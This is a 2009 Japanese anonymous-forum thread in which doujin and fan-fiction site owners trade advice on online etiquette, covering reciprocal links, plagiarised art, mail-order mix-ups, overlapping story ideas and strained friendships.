280 ：スペースNo.な-74：2009/11/08(日) 22:04:29

何か降臨してるぞ

281 ： ◆O3OjL65Tgw ：2009/11/08(日) 22:24:34

何度もすみません、259です。
補足としてＡさんに関しては一応フェイク有りです。
けれども279さんの意見を読み、全くその通りかもしれない、と己を反省するに至りました。
以降、ネット上での付き合い方については頂いた意見も踏まえて慎重に考えて行動したいと思います。
以降名無しに戻りますが、相談に乗って下さった方々、ありがとうございました。

282 ：スペースNo.な-74：2009/11/08(日) 22:28:45

ここで後出しも反省も無意味だから

283 ：スペースNo.な-74：2009/11/08(日) 22:38:23

>>279
結婚して同人止める人なんていくらでもいるから身ばれにはつながらん
自由にやりたい人と束縛体質の人の付き合い方相談なんて同人ではありふれた話だし
あおりは気にしなくていいと思うよ
相手からFOしてくれたら一番いい結果だし
ただここの流れみているとしばらく気をつけておいた方がいいかもしれないとは思う

284 ：スペースNo.な-74：2009/11/08(日) 22:39:32

283はアンカ先間違え
>>279でなくて>>276へ

285 ：スペースNo.な-74：2009/11/08(日) 23:12:00

>>283に同意。こんなありふれた話で身バレがあってたまるか
アホらしい。煽ってるのはＡの同類かＡ本人だろ
Ａ本人だとしても、この程度の書き込みから「自分の事書かれた！」
なんて騒いだら、逆に被害妄想乙されるだけだろうけどな

286 ：スペースNo.な-74：2009/11/08(日) 23:21:10

ありふれてるし身バレにはならないが、どこまで良くてどこまで悪いといった
線引きができるものでもないから、自分でも相手でも、関係ない情報を
書き込むのは自重したほうがいいとは思うよ。
Ａの同類かＡ本人とか言うのは短絡すぎ。

287 ：スペースNo.な-74：2009/11/08(日) 23:31:31

フェイクとはいえ結婚とかって具体的なことを書かなければ済んだ話だろうにとは思うが

288 ：スペースNo.な-74：2009/11/09(月) 00:19:12

その結婚がフェイクという可能性もあるけど

289 ：スペースNo.な-74：2009/11/09(月) 00:28:34

はいはい雑談雑談

290 ：スペースNo.な-74：2009/11/09(月) 00:28:35

具体的って言ってもざらにあることなんだから別にいいんでないの
相談の後レスが幾つかついてたから報告してくれたんだろうし
具体的な言葉より曖昧な表現でぼかしたほうが良かったということ
かも知れないけど、ぼかさなくてもどうというわけでもないように思う

291 ：スペースNo.な-74：2009/11/09(月) 00:33:08

相談させてください
私は二次創作サイトをやっているのですが、先日拍手にてコメントを戴きました。
内容としては、毎日見てます。尊敬しているのでHPに素敵サイトとして
リンクさせていただきました。といったような感じでした。
記載されていたリンクに行って作品を見てからリンクページを見たのですが
リンクはしていませんでした。相互サイト様覧しかなく、所謂尊敬サイト一覧自体なく
リンクされている様子はありませんでした。(携帯サイトなので見落としはないと思います)
相互お願いしますとはかかれていませんでしたが、
これは相互目的としたコメントだったのでしょうか？
コメントがお世辞にも多いといえないマイナーな感じのサイトなので
アンケートの感想にもレスをしているのでコメントレスにもちょっと困っています。
他のコメントにくらべてかなり短くてもコメントの返事はしたほうがいいですよね？

292 ：スペースNo.な-74：2009/11/09(月) 00:50:57

>>291
>>1くらい読んでね。
＞IDが出ない板なので、名前欄にトリップ推奨です。

コメントに関しては好きにしろとしか。
相互してもいいのかどうかや291がどうしたいかも書いてないからなんとも言えない。
しなくてもいい、リンク報告ありましだかリンクされてませんでしたとレスしてもいいし。
でも、それくらい自分で対処できるようにならないとこの先やっていけないと思うよ。
返信に困る文章がきたらまたここに相談しにくるの？

293 ：スペースNo.な-74：2009/11/09(月) 00:51:14

>>291
十中八九
「報告ありがとうございます！こちらも貼らせて頂きました！」
の返事を待っていると思われる。
リンク返すのやぶさかでないなら
「報告ありがとうございます、リンク確認次第こちらも貼らせて頂きます」
と貼るのを催促してみる。
なんとなくスルーしたいと思ったなら
「報告ありがとうございました」
と礼だけ述べて流してみるとか。
いっそ「あらあら拍手の調子が(ry」と無視も出来るけど。

294 ：スペースNo.な-74：2009/11/09(月) 01:19:29

丁寧なコメントしかもらったことがなかったので助かりました。
当たり障りの無いコメントをして相手の様子を見ようと思います
ありがとうございました

295 ：スペースNo.な-74：2009/11/09(月) 21:33:03

>>256
諸刃の剣すぎるだろｗ

296 ：スペースNo.な-74：2009/11/10(火) 17:55:27

相談させてください
イラストの背景をまるっとパクラーにパクられてる絵を見つけたんだけど・・・
パクられてる人には言わないほうがいいんだろうか
それとも教えた方がいいんだろうか

297 ： ◆PZ.kZ06bSw ：2009/11/10(火) 17:57:44

すみません296です、トリつけわすれました

298 ：スペースNo.な-74：2009/11/10(火) 18:13:56

>>296
正義厨と思われたくなければスルー推奨。
パクリ対策できるのもその権利があるのも、オリジナルを描いた本人だけ。
その本人が知っててスルーしてる可能性もある。

299 ：スペースNo.な-74：2009/11/11(水) 01:15:31

>>296
パクラーの方に凸したら
パクリ絵を下ろしたりサイト閉鎖して消える可能性はある
でも凸した時点で正義厨だな

パクラレの人があからさまにパクりと交戦中だったり
「情報求む！」とか言ってない限りは
何も言わない方がいいと思うけど

300 ：スペースNo.な-74：2009/11/11(水) 06:47:00

>>296
限りなく低いが
つフリー素材の可能性

どっちにしろ、人に意見聞かないと行動できないなら何もしないほうがいい

301 ： ◆PZ.kZ06bSw ：2009/11/11(水) 18:53:53

>>298-300
ありがとうございました
10割打者の＄パクラーにパクられていて、
いつかパクスレに晒されたりするのが気の毒だったのと
ラレさんとリアルに知り合いだったので言ったほうがいいのか悩んでいました
正義厨でしたね、見なかったことにしておきます

302 ：スペースNo.な-74：2009/11/11(水) 19:04:21

詳細情報を先に出さずに相談するほうが、よっぽど迷惑行為だ

303 ：スペースNo.な-74：2009/11/11(水) 22:27:37

リアルで知り合いなら「ネットで困ったこと」でも何でもないじゃん
後出しみたいな事情があるなら直接教えてやればいいのに

304 ：スペースNo.な-74：2009/11/11(水) 23:19:17

>>301がめんどくさそうな性格なのはわかった
後出し乙
凸でも何でもすれば？自己責任で
最初からちゃんと説明しないで適切なレスもらえるはずがない

305 ：スペースNo.な-74：2009/11/11(水) 23:34:59

見ず知らずで無関係の人間がいきなりパクリ指摘したら正義厨だけど、
知り合いがパクられてて晒される可能性まで分かってるのに黙ってたら
それは結構ひどい人じゃね？
知り合いの仲良しの度合いにもよるかもしれんが
301がもし自分の知り合いだったらドン引きする

306 ：スペースNo.な-74：2009/11/12(木) 14:19:49

>>2

307 ：スペースNo.な-74：2009/11/12(木) 14:46:37

？

308 ：スペースNo.な-74：2009/11/12(木) 18:33:49

>>307
>>3って書きたかったんじゃないか？
＞相談者が締めた時点で　回　答　終　了　。

309 ：スペースNo.な-74：2009/11/13(金) 01:00:08

後出し情報は締めにならねえ

310 ：スペースNo.な-74：2009/11/13(金) 01:59:36

ここって相談者以外に相談者に近い人間も参考にするんだから、
必要な情報を後出しされた時にアドバイスを修正したりするのは
むしろ必要だからな。
相談者叩きはいらんが。

311 ： ◆jpiP9D6QNU ：2009/11/13(金) 12:30:20

同人誌の通販のことで相談です

個人サイトで同人誌の通販をしたのですが、申し込んだのと違う本が届きました
申し込んだ本は二冊（代金は振込み済み）は、届いた本とは価格も送料も異なります
届いた本は、自分が申し込んだのよりも後に発刊された本で、出来ればこの本も買いたいと思っています
ですが、サイト上では「発送完了したので年明けまで通販はしない」という告知があり、オフラインのページも削除されています

・送料はこちらで持つので改めて該当の本を送って欲しい
・届いた本の代金と送料は振り込むので、このまま届いた本を引き取らせて欲しい
・今後のやり取りは私のメールアドレス宛に送って欲しい（連絡手段が拍手のみで、全文表示でレスされているので）

こちらの三点をお願いするのは失礼に当たるでしょうか？（特に二つ目と三つ目）
通販でこの手のトラブルに遭った事がなかったのでどういう対応が普通なのか良く分からず悩んでいます
ご意見よろしくお願いします

312 ：スペースNo.な-74：2009/11/13(金) 12:45:06

>>311
「新たな通販」と「通販の事故処理」は別物だから
「通販はしない」の記述と関係ないので早急に連絡を。

本来この場合は
間違いの連絡→確認→正しい本の発送
→到着・確認→間違って送られた本の返送
が一連の流れと思う。

ただ、サークル側の手違いの場合間違って送られた本は
そのままお納め下さいとなる場合が多い。
理由としては返送作業などの手間に比べて
本の代金の方が安い場合が多いため。
とはいえ、もちろん「返してくれ」というサークルもあるので
そこはためらわずお伺いを立てるのがよい。

3についてはそのサークルの連絡方法がイマイチわかりにくいな。
通販の際も連絡ツールが拍手のみなの？
通販なら住所とかの個人情報のやり取りがあるし
通常メールでのやり取りになると思うんだけど…

通販についての相談なら以下のスレも参考に。
同人通販で凄かった人　34通目
http://changi.2ch.net/test/read.cgi/doujin/1242927384/

313 ：スペースNo.な-74：2009/11/13(金) 12:47:25

>>311
全然失礼じゃないよ
間違えてる以上、発送完了ではないし
在庫が無くなって本来欲しかった本が手に入らなくなる前に
早めに連絡したほうがいいと思う
でも拍手でやり取りするなら、HN（通販時の本名は○○です）などと
レスのときにうっかり本名晒されないように書き添えたらどうだろう
できれば通販関係のご連絡なので拍手レスではなくメールでお返事いただきたい
とでも書いておけば、通販ミスしたのは相手なのだし考慮してくれるんじゃないか

314 ：スペースNo.な-74：2009/11/13(金) 15:00:38

>>311
オフ頁が無くても連絡に使ったメールアドレスなどが生きているならそれを使えばいい
それからその連絡をするなら出来るだけ早く。
普段冬参加している人なら現在原稿中でメール見ていない可能性もあるのでそれも念頭に入れてね。

後は嫌味のない丁寧な文章で問い合わせをすれば向こうから返信来るから指示に従えばおｋ

315 ： ◆jpiP9D6QNU ：2009/11/13(金) 15:11:58

>311です
>312-314
ありがとうございます
問い合わせをしても問題ないみたいなので安心しました

通販関連の連絡は
オフラインページのメルフォから送信
→管理人さんから私のアドレス宛に取引番号と通販詳細の返信
→入金後に通販受付番号を記載してサイトのメルフォから入金報告
というやり取りの仕方になっていました
管理人さんのメアドは分かりますが、そのままメールを送っていいのかちょっと分からないので、メアド添えて拍手からお伺いしてみます
レスどうもありがとうございました

316 ：スペースNo.な-74：2009/11/13(金) 18:54:08

>>315
その状況で拍手ってのはおかしいよ
拍手じゃ315が本当に通販の本人かぱっとわからないじゃん
もらったメールの返信にして、下記件ですが届いたのは○○でした、がいいよ

317 ：スペースNo.な-74：2009/11/13(金) 18:57:53

その時はできればもらった内容を引用して。
自分の素性も本来あるべき通販内容も一目でわかるしメーラーによっては前の続きとしてリストに並ぶ。
営業事務ならそれが常識、くらいのことですよ

318 ： ◆jpiP9D6QNU ：2009/11/13(金) 20:25:18

>316-317
同じ人かな？ありがとうございます
もう拍手から通販に使った名前・取引番号・メアドを添えて送ってしまいました…
管理人さんのアドレス宛でのやり取りをしたことが無いので（送られてきただけなので）勝手に使うのもどうかと思いました
本人確認は上記で十分かとも思ったのですが…
一応念のためアドレスの方にも同内容を送信してみます
ありがとうございました

319 ：スペースNo.な-74：2009/11/13(金) 21:51:00

>>318
勝手にも何も、そういう連絡のためのアドレスだろう。
例え一般人でも金の絡むやり取りなんだからメールが普通だよ。

320 ：スペースNo.な-74：2009/11/13(金) 22:53:12

>>318
拍手の管理画面だと下手すると第三者が閲覧できてしまうこともあるから
今後は指示がない限りはやめたほうがいいよ
他の人も言っているけど、通販の事だからこういう時こそメールで送るべき
申込IP、申込メールアドレスから送られて来たことがなにより本人確認にもなるし

321 ： ◆faxoFM/0kk ：2009/11/14(土) 01:00:19

二次創作サイトの管理に関して相談です。

日記にちらっとカップリング考察のネタを書いたら、
そのネタが相互リンク先のサイトで作品に使っていたものだったことが判明。
その作品は見たことがあったものの、半年以上前のことなのですっかり忘れていたのですが、
私のキャラ考察もその作品を見たことが頭の片隅にあって出てきたものだった可能性はあります。

ネタ自体は、普通は思いつかないというほどでもないけれど、原作には全く書かれていません。
（例えば、Aがしているペンダントは、Bの好きな色だからBのプレゼントだったり……みたいな感じです）

意図的ではないにしろ、ネタを盗ったように見えてしまうのではないか、気にかかっています。
・謝罪メール→深刻な感じではなく、「ここで見た設定だったからだったんですね、
もしそうだったら萌えますよね」みたいな感じで
・ブログで言及する→この間の考察は、○○さんの作品の設定と同じでした！　私もその説を推したいです！

の二つのうち、どちらを採るか（あるいはどちらもするか）悩んでいるのですが、
ご意見いただけるとありがたいです。

322 ：スペースNo.な-74：2009/11/14(土) 01:10:49

>>321
その例えでいうなら、同人ではありふれてる定番ネタだよ
そんなことで謝罪されても困るだけだと思う

323 ：スペースNo.な-74：2009/11/14(土) 01:17:06

>>321
別に謝罪もﾌﾞﾛｸﾞで言及も特にいらないと思うんだが。
＞思いつかないというほどでもない
自分でもこう思ってるんだし。
そもそも二次の見解やら考察やらってカブりがちじゃね？

324 ：スペースNo.な-74：2009/11/14(土) 01:24:35

>>321-322
レスありがとうございます。
ネタかぶり自体はありがちなことではあるので、それほど交流のないサイトだったら
気にならないと思うのですが、
そのネタを使った相手の方の作品を、私が見たことがあるのは相手も知っていると思うので、
「ふと思いついて萌えた！」というふうに書いてしまった先日の日記に、
あまりいい印象は受けないのではないか……と心配になって相談させていただきました。

やはり、特に言及しない方がいいのかもしれませんね。
ブログの該当箇所を消したり、追記の形で訂正することも考えましたが、
逆に良くないかと思い、悩んでいます。

325 ：スペースNo.な-74：2009/11/14(土) 01:24:50

>>321
その選択肢ならブログの方が良いんじゃないかな。
相互先との交流の度合いにもよるけど、
いきなり謝罪っぽいメールがきたら自分ならびっくりするし戸惑うと思う。
ブログなら両方のサイトを見てる閲覧者も「あれ、このネタ…」と思う事もないだろうしね。

でも個人的には、例に挙がってる程度の被り具合なら気せず何もしないな。
出だしからオチまで丸被りならネタ盗ったと言われても仕方ないけど
ちょっとしたネタなら、同ジャンル同カプでやってれば被るのはよくある事だよ。

326 ：スペースNo.な-74：2009/11/14(土) 01:26:56

ｽﾏｿもたもた書いてたら私が丸被りだ..

327 ：スペースNo.な-74：2009/11/14(土) 01:31:11

>>324
どうしても気になるなら追記するなり消すなりは自由。
相手へ連絡とって謝罪ってのはやめといたほうが良い。

328 ：スペースNo.な-74：2009/11/14(土) 01:34:44

>>325-327
なるべく気をつけつつもネタかぶりは仕方のないこと、と割り切ることにして、
今回は特に何もしないことにします。
危うく相手の方を困らせるところを、思いとどまるきっかけを下さって、ありがとうございました！

329 ：スペースNo.な-74：2009/11/14(土) 01:40:41

>324
あんまり深刻に考える必要ないと思うけど。

「自分で思い付いた気になってたけど、よくよく考えたら◯◯さんのネタでした～！
大好きな作品だからしっかり刷り込まれてたんですね！
もうこのネタ公式でいいんじゃないかな！」

……くらいの軽いノリの方が好感持てる。

330 ： ◆FG5h/gevYA ：2009/11/14(土) 15:39:55

些細な事ですが、お願いします。
ある二次小説サイトに通っています。
記名で拍手※を送っているので、名前は覚えていただいている模様。

以前、そのサイト様のシリーズ作品に対する感想の中で、
話から想像したちょっとした事を書きました。
（○○の時Aは××しそうなので見てみたいと思った、みたいな感じ）
先日更新された最新作に、そのシーンが書かれていました。
もしや自分が言っていた事だろうか？だとしたら読めてうれしい
と感想と共に書き送ったところ、そうだとのレスをいただきました。

あらためて感謝の気持ちを伝えたいと思ったのですが、
肯定される前に、感謝を強いている風に取られたら困る、
という意味合いの事が書かれているため、迷っています。
止めておいたほうが良いでしょうか？

331 ：スペースNo.な-74：2009/11/14(土) 16:14:17

>>330
「感謝を強いている風に取られたら困る、という意味合いの事」がよく分からないが。
リクを消化したわけではないってこと？
ならサイト管理人自身が、感想に書いたシーンを自分でも書いてみたいと思ったから、作品にしたんだと思うけど
そこにリクに応えてくれてありがとうみたいに言われたくないってことなんじゃない

332 ：スペースNo.な-74：2009/11/14(土) 16:17:32

>>330
一度「読めてうれしい」って事を伝えてるんだし、
感謝はほかの作品の感想でも送るついでくらいでいい気がする。
その管理人さんは気を使うタイプみたいだし。

自分だったら、面白かったとか読めてうれしかったって感想は嬉しいけど
「書いてくださってありがとうございます」みたいな感想はちょっと微妙な気分になる。
送ってくれたネタを小説に書くのは、自分が共感したり萌えたりして書きたいと思ったから。
単にネタを送ってくれたという理由だけで書いた訳ではないので
その事に感謝されるのは筋違いかなって気がしてしまう。

333 ：スペースNo.な-74：2009/11/14(土) 17:28:47

>>330
「あなたのために書きました」「私のために書いてくれてありがとう」
といった恩着せがましいやりとりをしたくないだけだと思う。
感想を送ってあるならお礼文は要らないと思うが、どうしてもと言うなら
　　　「見てみたいと思ってたシーンが形になって嬉しいです」
みたいなニュアンスにしてはどうだろう。

334 ：スペースNo.な-74：2009/11/14(土) 17:41:10

>>330
自分が萌えたシチュで書いてもらった！嬉しい！という感想や感謝は
リクエストされて書いたわけじゃないから困るということかもしれないし、
ネタ元は330でも管理人さんの作品として昇華されてるのだから、私の
ために～というニュアンスだと原案330みたいで嫌なのかもしれない。

「○○の萌え語りからあの作品を作る管理人さんはすごい！」という
作品や管理人さんへの賞賛の方が感謝の言葉より嬉しいと思います。

335 ： ◆FG5h/gevYA ：2009/11/14(土) 18:04:38

分かり辛い文章になってしまってすみません。
リクエストではないです。
おそらく共感して下さったからだと思うので、それがうれしかったですし、
書いて下さってありがとうございます、という気持ちなのですが、
感謝の言葉は止めておきます。

とても参考になりました。思い切って相談して良かったです。
ありがとうございました。

336 ：スペースNo.な-74：2009/11/14(土) 19:27:58

>>335
本当に分かり辛い
それでまさか字書きじゃないよね？

337 ：スペースNo.な-74：2009/11/14(土) 19:37:51

たしかにわかり辛い説明だが、お前の2行目もいらんよ

338 ：スペースNo.な-74：2009/11/14(土) 19:43:22

>>336
普通に分かったけど。
自分が文盲なことをわざわざ晒さなくてもいいよ

339 ：スペースNo.な-74：2009/11/14(土) 21:20:40

どこが分かりづらかったんだ……？
さっぱり分からん。

340 ：スペースNo.な-74：2009/11/14(土) 21:49:23

>>336-337
そんなに読解力がなくて
まさか字書きじゃないよね？

341 ：スペースNo.な-74：2009/11/14(土) 22:40:36

ていうか質問主は閲覧者として説明してるのに
どこから字書きとかいう言葉が出てくるのか

342 ：スペースNo.な-74：2009/11/15(日) 00:49:45

>>3も読めないの？

343 ：スペースNo.な-74：2009/11/15(日) 01:10:59

>感謝を強いている風に取られたら困る
「べっ、別にアンタなんかの為に書いた訳じゃ無いんだからっ！勘違いしないでよねっ!!/////」
ただのツンデレじゃん、イチイチ絡んでる奴は絡みスレ行けよ

344 ：スペースNo.な-74：2009/11/15(日) 01:46:04

ちょっと相談。
当方健全オンリーサイト。
クロスワールド二次小説を載せる予定なんだが、
クロスさせてるジャンルの片方が原作18禁。普段そのジャンルの取り扱いは全く無し。
ちなみにクロスワールド話は18禁原作知らなくても読める。

その話につける注意書きについて、
原作が18禁なのは明記するとして、ジャンル名をぼかすってのはマナー違反だろうか？
（クロス小説では検索で引っかかるような特殊な単語・人名は省いてる）

345 ：スペースNo.な-74：2009/11/15(日) 02:03:07

クロスワールドといっても
要は二次創作のジャンル元が二つある状態なんだから
18禁と明記した上でジャンル名も明記　がスジじゃない？
パロ元を伏せたままで二次創作とかどうかと思う

サイトが健全オンリー=閲覧者が全員子供　では無いだろうし

もし仮に今までの反響なんかで明らかに閲覧者に未成年が多いと判ってるなら
そもそも18禁にかかわるモノと混ぜること自体が
ある程度裏行きなりパス制なりのワンクッションでもつけるべきと思う

346 ：344：2009/11/15(日) 03:21:41

>>345
やっぱりマナー違反か。
隠し＋パロ元明記で18禁注意にしてみるよ。回答ありがとう。

347 ： ◆9ccBFQYMG2 ：2009/11/16(月) 16:08:39

相談させてください。

拍手コメが自サイトの感想（内容自体はとても嬉しい）＋「ウチも作品アップしたので見にきてね！」
な内容になっていて、申し訳ないけれどあまり向こうの作品を見に行く気になれない場合、
どういった返信をするのが当たり障り無いでしょうか･･･。

ちなみに相手もメインは同カプ、リンクは向こうからのみしていただいている状態です。
感想を頂いているのに、見に行かないのは申し訳ないかな･･･と思いつつも、
小説自体が正直あまり読む気になれないタイプなのと（自分は絵描き・相手は字）
急にタメ口になったり、へんなところに「ｗｗｗ」を使う相手の方が少し苦手なので、
先のことを考えると「行きます」とは言いたくないんです。
どなたか知恵を貸していただけるとありがたいです。

348 ：スペースNo.な-74：2009/11/16(月) 16:23:11

>>347
＞「ウチも作品アップしたので見にきてね！」
この部分を見なかったことにして前半部分のみ返信する

349 ：スペースNo.な-74：2009/11/16(月) 16:23:14

社交辞令でも「行きます」って言いたくないんなら
感想のお礼のみレスすりゃいいんじゃね？

350 ：スペースNo.な-74：2009/11/16(月) 16:49:00

かなり子供だましになうえ、嘘をつくことになるけど、ひとつの手段として。

「私もまたこっそり
/お邪魔させていただきますね
/訪問させていただきますね
/覗き見させていただきますね」

「～もまた」で、既に何度か訪問しているとアピール
「こっそり」「ひそかに」「覗く」等の言葉を入れて、
コメントは送らないけど一応見てはいるとアピールしてみる

351 ：スペースNo.な-74：2009/11/16(月) 16:58:31

>>347
「行きます」って答えちゃうと
「見てくれましたか？どうでしたか！？」って
聞かれる可能性があるからやめたほうがいいよ
感想のお礼だけ伝えればいいと思う

352 ： ◆9ccBFQYMG2 ：2009/11/16(月) 17:21:27

347です。ご意見ありがとうございました！！
今回は「見にきてね」の部分をスルーして、感想にのみレスしようと思います。
そういえば今まで「コメントには全部返事しなくちゃ！」という思い込みがなぜかあり、
コメントの一部スルーなどは考えたこともありませんでした･･･。
よくよく考えると、それがいちばんあとで面倒なことにもならずにすみそうですね。
>>350さんの意見も参考になりました。
こちらはこれからも付き合いを続けたい人向けに･･･ということで使いたいと思います。
本当にみなさんありがとうございました！スッキリしました。

353 ：スペースNo.な-74：2009/11/16(月) 17:28:30

ほぼ同じ状況で、同じようなコメントをもらったことがある。
同じ人から何回かもらったが、そのたび>348>349で対処していたら、そのうち来なくなったよ。
多分拍手くれた人は、後半部分が目的だと思う。
その気がないことを態度で示せる内に、しておいた方がいいよ。

354 ：スペースNo.な-74：2009/11/16(月) 17:31:17

ぽつぽつ打ってる内に追い抜かれた…。
すみません。

355 ：スペースNo.な-74：2009/11/16(月) 20:47:22

説明下手だけど聞いてほしい

最近相互リンクしたサイトの管理人さんと拍手でやり取りをしてたんだけど
（相手が拍手でコメントくれて、私が日記で返信といった形）
しばらくやり取りした後その管理人さんの日記を見に行ったら「拍手返信」というタイトルで私宛の返信があった
こっちから拍手したことがなかったので「？？？」ってなった

返信の内容をよく見てみると私が管理人さんの拍手コメントに返信した内容に対する返信にとれなくもなかった
返信の出だしも○日（私が日記で返信した日）私さんへ＞＞～
と書いてあった
でも私が日記に載せた返信に対する返信は既に拍手でもらってた。
返信の中身は微妙に違ったけどニュアンスは大体一緒。完全に二度手間。
なんでそんなことするのかわからない・・・

そんなこと直接本人に聞けばいいんだろうけど最近知り合ったばかりでいきなりそんなぶしつけなこと聞いていいものかと迷ってます

356 ：スペースNo.な-74：2009/11/16(月) 20:51:15

>相手が拍手でコメントくれて、私が日記で返信といった形
これはいかんと思う・・・
日記で返信しつつ相手にも拍手しないと・・・

357 ：スペースNo.な-74：2009/11/16(月) 20:59:38

>>355
相手が一方的に送ってる（ように見える）状況を何とかしたかったのでは？
端から見たら交流よりは擦り寄りな状況だし

358 ：スペースNo.な-74：2009/11/16(月) 21:29:31

え？ちょっとまって>>356って本気で言ってる？

359 ：355：2009/11/16(月) 21:30:50

>>356
返信の中にその人の作品の感想とか書いてしまっていたのですがその時ははさすがに
「感想はサイト行って拍手で送った方がいいよなぁ」と思いました。
でもどうせ返信するならついでに書いてしまえと日記の返信だけにとどめてしまってました
これはいかんですねお詫び入れに行ってきます

>>357
傍から見たら私何様だよって感じですね・・・
相手の方には申し訳ないことをしました

ちなみにやり取りの流れは

（拍手）：はじめまして。リンク貼らせていただきました
私：ありがとうございます。よかったらサイト教えてください
（拍手）：URL←ここです。
私：ありがとうございます。素敵なサイトですね。こちからもリンク貼らせてください
（拍手）：こちらこそありがとうございます（←これと同じ返信？と思われるものがその人の日記にも書いてあった）

こんな感じです。
URL教えてもらった時点で向こうのサイトの拍手からコメントするべきだったと、今になって思います
レスありがとうございました！

360 ：スペースNo.な-74：2009/11/16(月) 21:32:58

なんだこのもやっと感

361 ：スペースNo.な-74：2009/11/16(月) 21:36:15

最近、後出しが多過ぎやしないか

362 ：スペースNo.な-74：2009/11/16(月) 21:39:19

別に後出しでもなんでもないと思うが

363 ：スペースNo.な-74：2009/11/16(月) 21:55:11

最初の相談レスには微塵も書いてなかった事を〆のレスで突然出してきたら
それは後出しになるだろ
その情報があったら別の回答したのに…ってもやっとする

364 ：355：2009/11/16(月) 22:02:17

後だしすいません・・・
文章まとめるの下手すぎて書きそびれていたので追記してみたのですがもやっとさせてしまって申し訳ないです

>>363
追記込みだとどういった回答いただけるでしょうか

365 ：スペースNo.な-74：2009/11/16(月) 22:20:29

>>355のときに>>359の流れも書いてあったら自分は
「別に相手サイト行って拍手※しなくていいと思う」と回答した
感想が送られてきたとかならともかく、単にリンク報告じゃん

366 ：スペースNo.な-74：2009/11/16(月) 22:38:08

>>355
相手から先に拍手が来たんだから、それを起点としたやりとりを
自分の日記で続けるのは普通だよ。
そこで相手の作品の感想を事細かに書いてたら向こうは微妙な気分になるやもしれんが、
「素敵なサイトですねー」程度ならべつに何様って事もないと思う。

その事と相手が自分のサイトで拍手があったかのように※レスしてる事は、完全に別件でしょう。
相手はちょっとずれてるというか変な人みたいだから、既にある※レスに関してはスルーで
感想を送るんなら、新作でもあがった時に改めて拍手と※したら良いと思う。

367 ：355：2009/11/16(月) 22:56:04

>>365
レスありがとうございます。
356さんの意見も一理あるな、と思ったんですけど絶対にそうしなければいけない、というわけではないんですね

>>366
356さんへのレスでも書いてますがおもいっきり返信の中で作品の感想書きました。
「（キャラ）の○○コスの絵かわいいですね！」みたいな。やっぱりマナー違反ですよね・・・
改めて感想を拍手コメントで送ろうと思います。

相手方の日記の返信はとりあえずスルーしておきます。
説明下手な相談にも丁寧に答えてくださってありがとうございました

368 ：スペースNo.な-74：2009/11/16(月) 22:57:41

全レスうざ

369 ：355：2009/11/17(火) 13:13:48

>>368
すみません。

370 ：スペースNo.な-74：2009/11/17(火) 13:45:23

相談者はトリつけるべき
と再確認する流れ

371 ： ◆NPjWSW9EXI ：2009/11/17(火) 18:17:41

相談させてください。
当方、一次創作関係で仲の良い人が居るのですが、
少し前にリクエストをしたところ、困った事になってしまいました。

チャットの最中、私が少し長くオリキャラ語りをしたら、
参加者常連のAさん、Bさん、Cさんが私のオリキャラの絵を描いてくださる事になりました。
後日、三人とも絵が完成されてコメントを書きに行ったのですが、
その絵を公開する場所が独特で、コメントを手で書くタイプだったのです。

元々自分の字に自信が無く、沢山コメントを書けない、
またオフが忙しいと言う事もあったので、一番仲の良い人Aさん以外の人にコメントを書き、
Aさんは別の用件があり、近くにチャットで会えると言う事で、
そちらで感想を言おうと思ったのです。

で、しっかりとそちらでも感想・お礼の言葉を伝えたのですが。

どうやらAさんが自分一人だけコメントがもらえなかった事で、根にもってるらしいのです。
一度この事を説明し、謝罪したのですが、今もまだこの事を根に持っているのです。
その事とは5ヶ月以上前の事ですし、その関係で私のキャラを描くのが怖い、
怒られそう、私（Aさん)の絵が気に入らないんだ、また別の困った事がおきたり･･･。

最初の原因は私かもしれませんが、流石に私も辛い所があり、
どうしていいのか分かりません、何度も二人でお話したりもしたのですが、
何故か捻じ曲がった方向に受け止められ、一向に埒が明きません。

何方かお知恵をお貸しください･･･。

372 ：スペースNo.な-74：2009/11/17(火) 18:30:08

>>371
Aはもう拗れに拗れちゃっててどうしようもないところまで来てる感じを受ける。
371がちゃんと状況を把握した上ですでに事情説明も終わって
謝るところは謝ってるならもうフェードアウトでいいんじゃない？
多分何言ってもあの時返事をくれなかった、ってずっと続くんだろう。
それともできない理由とかあるの？

373 ：スペースNo.な-74：2009/11/17(火) 18:41:30

>>371
Aも大人気ないと思うが、仲がいいことに胡坐をかいた371にも原因があるからなぁ。
＞自分の字に自信が無く、沢山コメントを書けない、またオフが忙しいと言う事もあったので
としても、Ａ以外にはコメントしたんだよね。
全員にしないとか、まとめて感想ならともかく、一人にだけコメントをしなかったら
別枠でと言われても傷つくと思うよ。
後ろ向きの人なら「後で時間をかけなきゃ駄目なくらいコメントが思い浮かばなかったんだ」
と凹むだろうし。
その絵とコメントが外部から見ることのできるものならなおさら。
それを根に持っているという言い方をするのは酷くないか？

フォローが上手くいかない理由がＡの性格のせいか371の伝え方が悪いせいかは
分からないけど（文章を見た感じ、自分が悪いと思ってないみたいだし）、
１週間とかでなく5ヶ月も前のことでこじれているなら、修復は難しいよ。
他の仲のいい第三者にうまく取り持って貰えるとか出来ないのなら
どうしようもないと思う。

374 ：スペースNo.な-74：2009/11/17(火) 18:50:48

>>371の書き込みからは一見相手が悪い風に見えるけど
傍から見たら要するに、同じように描いて貰った絵なのに
Aだけにお礼してない>>371
まあ余程気に入らないか何かあったんだろうなとしか見えないわけで
本人にいくら礼したって言っても他所から見た目を少しでも気にする人なら
凹むどころじゃなかったと思うよ

375 ： ◆NPjWSW9EXI ：2009/11/17(火) 19:12:34

>>373
一応数日置いたと言うわけで無く、その日のうちだったので･･･。
他にBさんとCさんにコメントをしたというのは、
Bさんはあまりチャットで会う事が無く、
私自身ブログやサイト等を持っていないと言う事があったり、
「○○間違って無いでしょうか･･･」と言うようなコメントが途中経過であったので、
その時間違って無いというのは伝えたほうがいいと思い、その時に。
Cさんはチャットで絵を描かれない・あまり喋らない
と言うので、描きました。

すみません、ちゃんと自分が悪いとは思っています。
ですが、度々そのような話が出てない時でも、別の私のキャラを描いてくださった後
「Bさんみたいな画力が欲しいなー」等、この事関係に繋がるような言動をなさるので･･･。
正直、もう３、４度謝っており。Cさんも協力なさってくださった時もありましたが、
未だに･･･。

他、全く関係の無い友人のDさんのチャット(ジャンルは二次・一次)に居る時も
Aさんが来る事があり、それだけならなんとも無いのですが、
話の最中Dさんも一次を少しやっているので、オリキャラ同士の話題を出し、
私が自分のオリキャラを話すとほぼ必ずこの関係の話題を出されてしまうので･･･。

やはりどうしようも無いでしょうか･･･。
同人を初めてからの友人なので、長い付き合いですし、
Aさん自身は私にはチャットに来て欲しい、来てくれないとつまらない。
といわれているので･･･。
説明下手ですみません、相談を聞いてくださってありがとうございました。

